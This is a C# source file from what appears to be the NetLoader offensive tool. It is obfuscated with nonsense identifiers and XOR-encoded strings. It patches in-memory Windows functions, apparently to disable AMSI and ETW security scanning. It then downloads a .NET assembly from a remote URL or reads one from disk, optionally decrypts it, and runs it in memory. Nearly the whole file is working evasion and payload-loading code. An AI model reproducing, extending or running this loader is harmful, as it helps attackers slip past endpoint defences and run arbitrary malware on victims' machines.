Files
Flangvik-NetLoader/Source/Program.cs
T
2020-06-24 07:27:58 +00:00

255 lines
16 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
using System.Threading;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class SijillHomochiral{
private static object[] MamiesDeflower = null;
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string MigKoibal);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr BrantGalvanise, UIntPtr ScatterplotsVaunted, uint UncompensativeAntecavern, out uint BalsaminaceaeKeratoid);
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr GaulterElatedly, string OvertenderSeaconny);
private static void HechtDecretalist(string ProcessorUnsummoned, string[] ProwlinglyWobbly, bool BaganiBorassusoded = false, string TensiblyUnbookishly = "", int CornucopiaTampans = 0)
{
LaryngologistPreternatural();
MislaboredPreresponsible(CornucopiaTampans);
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly))) {
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("C1k4STsxLV0+ICAtY0BF"), "PreincarnateCzechization")) + ProcessorUnsummoned);
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CFIzVC4cDgYECwk4HFJJcw=="), "SyntonisingLors")) + string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("C1k4STsxLV0+ICAtY0BF"), "PreincarnateCzechization")) + ProcessorUnsummoned);
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CFIzVC4cDgYECwk4HFJJcw=="), "SyntonisingLors")) + string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly));
}
MamiesDeflower = new object[] { ProwlinglyWobbly };
if (BaganiBorassusoded && ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums"))))
{
IdeologyAutocratically(AlbuminoscopeUnbreachable(ProcessorUnsummoned), TensiblyUnbookishly);
}
else if (!BaganiBorassusoded && ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums"))))
{
NondeafFragrances(AlbuminoscopeUnbreachable(ProcessorUnsummoned));
}
else if (!BaganiBorassusoded && !ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums"))))
NondeafFragrances(RedeclarationCarneous(ProcessorUnsummoned, FileMode.Open));
else
IdeologyAutocratically(RedeclarationCarneous(ProcessorUnsummoned, FileMode.Open), TensiblyUnbookishly);
}
private static void LaryngologistPreternatural()
{
IntPtr JurisprudeUntugged = HarateenQuest(StackhousiaceaeDashedly());
if (JurisprudeUntugged != (IntPtr)0)
{
Marshal.Copy(ForehillAccusers(), 0, JurisprudeUntugged, ForehillAccusers().Length);
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GkY4UjoWAg0MAB4kGhQYC0UVIBkGGgwHQS8kICRj"), "AmericanismBoxtree")));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("D1M0QSIIFQ0yCB4GUi4sPR1SLyA7JSQq"), "TriarianZaparoan")));
}
}
private static IntPtr HarateenQuest(IntPtr JurisprudeUntugged)
{
uint PolyglossaryLacewood = 0;
if (VirtualProtect(JurisprudeUntugged, (UIntPtr)ForehillAccusers().Length, 0x40, out PolyglossaryLacewood))
{
return JurisprudeUntugged;
}
else
{
return (IntPtr)0;
}
}
private static byte[] AlbuminoscopeUnbreachable(string url)
{
HttpWebRequest RecokeCounterevidence = (HttpWebRequest)WebRequest.Create(url);
RecokeCounterevidence.Proxy.Credentials = CredentialCache.DefaultCredentials;
RecokeCounterevidence.Method = Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Dis3"), "IncumberingAppointor"));
return TrichomonalDevoutness(RecokeCounterevidence.GetResponse());
}
private static string DailinessTesticardine(string AutodigestiveAuctary, bool AluminumsLipoclastic)
{
if (AluminumsLipoclastic)
AutodigestiveAuctary = Encoding.UTF8.GetString(Convert.FromBase64String(AutodigestiveAuctary));
if (AutodigestiveAuctary.Trim().ToLower().Equals(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Kw=="), "SturionesVoluntarily"))))
Environment.Exit(0);
return AutodigestiveAuctary;
}
private static byte[] ForehillAccusers()
{
if (!TadpolesStrongbrained())
return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JiMOKDFRIy4iLzV5"), "SemisegmentDroner")));
return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JjMTJDBRIC0="), "SuperedifyAchuete")));
}
private static Assembly FuscBuffering(byte[] MyotomiesLandlocked)
{
return Assembly.Load(MyotomiesLandlocked);
}
private static bool HysterectomizesLampless(ConsoleKey ShorthandedSkaldship)
{
if (ShorthandedSkaldship == ConsoleKey.X)
Environment.Exit(0);
return (ShorthandedSkaldship == ConsoleKey.Y);
}
private static void PensionedSpeakableness()
{
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("FwYTAwBUZA=="), "BurdenDetruncating")));
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GRYGFxBWTDJDBXdZOFIyThkBG1RVGCkcWS1VQRwIGg9hUQcbBwITFzYECAckW0crWA0eDh1HfQ8MHAgRGDEIBg4Acjg="), "LegpullingAmericanitis")));
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CBVfBl9RSVQIHBUHHDoPEwhJAx8VIEwRDwE1DBcQDBdTHSkICA0SIAgcA0kRGxUzTAACH3QOBgwMF1MEJh4AAxYgBAAXSQQBEWcOAB0WYlVSAQcGHBAiCE8="), "TardiestGlans")));
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("ER1XAgocV0E8BAchFh0aBB5PHA4VGCAMDh8XTgQPFx0QKQ0aGgJSGwQOE1kvABQbFxdNBxoYFjtZEgYAUjcjPUccIwoIAxUaCAVdVD49CgdUBxdPCgALFSIeHx5FDBRBBxwWaCE8JkUWCg8dHgk5ABUURQUIGF0="), "MizzenmastsHysterology")));
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GxFfFQ8QCWpBIRQKDQIRAx4YZxUTFw8JBCQEHltEIA0BBQ8AMwABRRoMBHARDQEMRUMABRgJIhdSCQEHADxBAwdECEMwPiBNZwoURRoMBHADBRsFGxpFGANBKwoTAUA="), "GerendaPaludicella")));
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("DAZCDxcJFklTHREAAAcPDAgYSR8PIhMCCxELF1MGIQQQSRwOQhkVGhxOMQAIGwgLCwcAchUbSRwJB0kYBg4KNRZPDAwABAEKfEE5HBsVQgsRSQkBPB4AGQAKRREKcgAYBUgAEA4BBAoAJAFPCAocRQcbN0EWAAYAEBBa"), "PronenessRatihabition")));
}
private static bool TadpolesStrongbrained()
{
if (IntPtr.Size == 4)
return false;
return true;
}
private static void BreadsStreptotrichosis()
{
var ErythrophoreKeratophyre = SculptForwarn();
uint UnwisdomsPeakedly;
var NonejectionNeurectasy = LoadLibrary(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("OgYFAh9DERgN"), "TransmutatePlethysmography")));
var BienlyPulpits = GetProcAddress(NonejectionNeurectasy, Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CxUHKhoAARo+CAw2AA=="), "NapoleonizeBellyful")));
if (VirtualProtect(BienlyPulpits, (UIntPtr)ErythrophoreKeratophyre.Length, 0x40, out UnwisdomsPeakedly))
{
Marshal.Copy(ErythrophoreKeratophyre, 0, BienlyPulpits, ErythrophoreKeratophyre.Length);
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("H0owTjYRBhExARwWHQMYC08FBxsCKwoICkUhMSV1"), "DamnederTrophotropism")));
}
}
private static byte[] SculptForwarn()
{
if (!TadpolesStrongbrained())
return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("MQ09LQ=="), "FellowshippedStenosis")));
return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JA5QTQ=="), "SymphysianAbrogations")));
}
public static int MislaboredPreresponsible(int TangelosAnticalcimine)
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)TangelosAnticalcimine;
return TangelosAnticalcimine;
}
private static void IdeologyAutocratically(byte[] UndermadePleonal, string TensiblyUnbookishly)
{
UnbeltedClouts(InterrhymingImprime(FuscBuffering(PrecolorCroakiness(UndermadePleonal, TensiblyUnbookishly))));
}
private static MethodInfo InterrhymingImprime(Assembly asm)
{
return asm.EntryPoint;
}
private static byte[] PrecolorCroakiness(byte[] AutodigestiveAuctary, string ProslaveryOverneutralizing)
{
//byte[] keyBytes = Encoding.UTF8.GetBytes(ProslaveryOverneutralizing);
byte[] FestivalWeaknesses = new byte[AutodigestiveAuctary.Length];
for (int i = 0; i < AutodigestiveAuctary.Length; i++)
{
FestivalWeaknesses[i] = (byte)(AutodigestiveAuctary[i] ^ Encoding.UTF8.GetBytes(ProslaveryOverneutralizing)[i % Encoding.UTF8.GetBytes(ProslaveryOverneutralizing).Length]);
}
return FestivalWeaknesses;
}
private static object UnbeltedClouts(MethodInfo SebumChou)
{
if (DecryptionOllie(SebumChou) == SebumChou.ReflectedType)
return SebumChou.Invoke(null, MamiesDeflower);
return MamiesDeflower[0];
}
private static byte[] TrichomonalDevoutness(WebResponse BeechiestOscillogram)
{
MemoryStream ms = new MemoryStream();
BeechiestOscillogram.GetResponseStream().CopyTo(ms);
return ms.ToArray();
}
private static IntPtr StackhousiaceaeDashedly()
{
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("MgIQG08QBRY="), "SocratizeShoppy"))), Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Eg4aGiAMEwcsEigDAgc="), "ScissoringNegus")));
}
public static void Main(string[] args)
{
if (args.Length > 0)
{
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Dk80VBc8CSIPFxMbBUFFVBcyGjsBWQxJWSsmFTwKEwoEGw=="), "UnitizeCapernaitish")));
string TensiblyUnbookishly = "";
string MyxinoideiStumer = "";
string[] DuodecillionAtlantad = new string[] { };
bool DipppiestLimnophile = false;
bool BaganiBorassus = false;
BreadsStreptotrichosis();
int PassifloraceousPhysicomental = (Convert.ToInt32(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YFdB"), "SoullikeExtirpatory"))) * Convert.ToInt32(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bA=="), "TipulidTzarevitch"))));
foreach (string argument in args)
{
if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bF8DXVE="), "ArakeCulerage")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("aBpeVQ=="), "ExhaustableXiraxara")))
{
DipppiestLimnophile = true;
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("E04wTzEEGEgAHgocDDEGDR5BAhcRSSwpFghZREgRBgIDCQwFeEgdCAIMAR0HCWgRBQodSBsGQRgFDEEyBAA="), "HemophthalmiaThymacetin")));
}
if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YggbHQ=="), "OptomeninxApartmental")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bkQWCjY="), "CineDingle")))
{
BaganiBorassus = true;
int UnwearisomeDenizens = Array.IndexOf(args, argument) + 1;
if (UnwearisomeDenizens < args.Length)
{
string NoonedIchthyopolism = args[UnwearisomeDenizens];
if (DipppiestLimnophile)
TensiblyUnbookishly = Encoding.UTF8.GetString(Convert.FromBase64String(NoonedIchthyopolism));
else
TensiblyUnbookishly = NoonedIchthyopolism;
}
Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Gk85VScMDRUxERodBwlHGSs2VQYHDRUxERoRDU4FKAoFBxpJGxQhDwlUAgseYUMfRR5O"), "AdducingHanting")), TensiblyUnbookishly);
}
if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bhENFx0="), "CalculistFineer")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Yl8XABoB"), "OrganificProfitted")))
{
int UnwearisomeDenizens = Array.IndexOf(args, argument) + 1;
if (UnwearisomeDenizens < args.Length)
{
string PadangAntibromic = args[UnwearisomeDenizens];
if (DipppiestLimnophile)
MyxinoideiStumer = Encoding.UTF8.GetString(Convert.FromBase64String(PadangAntibromic));
else
MyxinoideiStumer = PadangAntibromic;
}
}
if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("aBUGDgE="), "EttironeSneeshes")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("eV8AHBQV"), "TransformismStrook")))
{
int RecableInobediently = Array.IndexOf(args, argument) + 1;
int SuperindifferenceLaius = args.Length - RecableInobediently;
DuodecillionAtlantad = new String[SuperindifferenceLaius];
for (int i = 0; i < SuperindifferenceLaius; i++)
{
string PadangAntibromicArgs = args[RecableInobediently + i];
if (DipppiestLimnophile)
DuodecillionAtlantad[i] = Encoding.UTF8.GetString(Convert.FromBase64String(PadangAntibromicArgs));
else
DuodecillionAtlantad[i] = PadangAntibromicArgs;
}
}
}
if (string.IsNullOrEmpty(MyxinoideiStumer))
{
PensionedSpeakableness();
Environment.Exit(0);
}
HechtDecretalist(MyxinoideiStumer, DuodecillionAtlantad, BaganiBorassus, TensiblyUnbookishly, PassifloraceousPhysicomental);
Environment.Exit(0);
}
}
private static void NondeafFragrances(byte[] UndermadePleonal)
{
UnbeltedClouts(InterrhymingImprime(FuscBuffering(UndermadePleonal)));
}
private static byte[] RedeclarationCarneous(string NonliteralityBarretter, FileMode NizamElong)
{
return File.ReadAllBytes(NonliteralityBarretter);
}
private static Type DecryptionOllie(MethodInfo SebumChou)
{
return SebumChou.ReflectedType;
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
SijillHomochiral.Main(new string[] { });
return true;
}
}
*/
}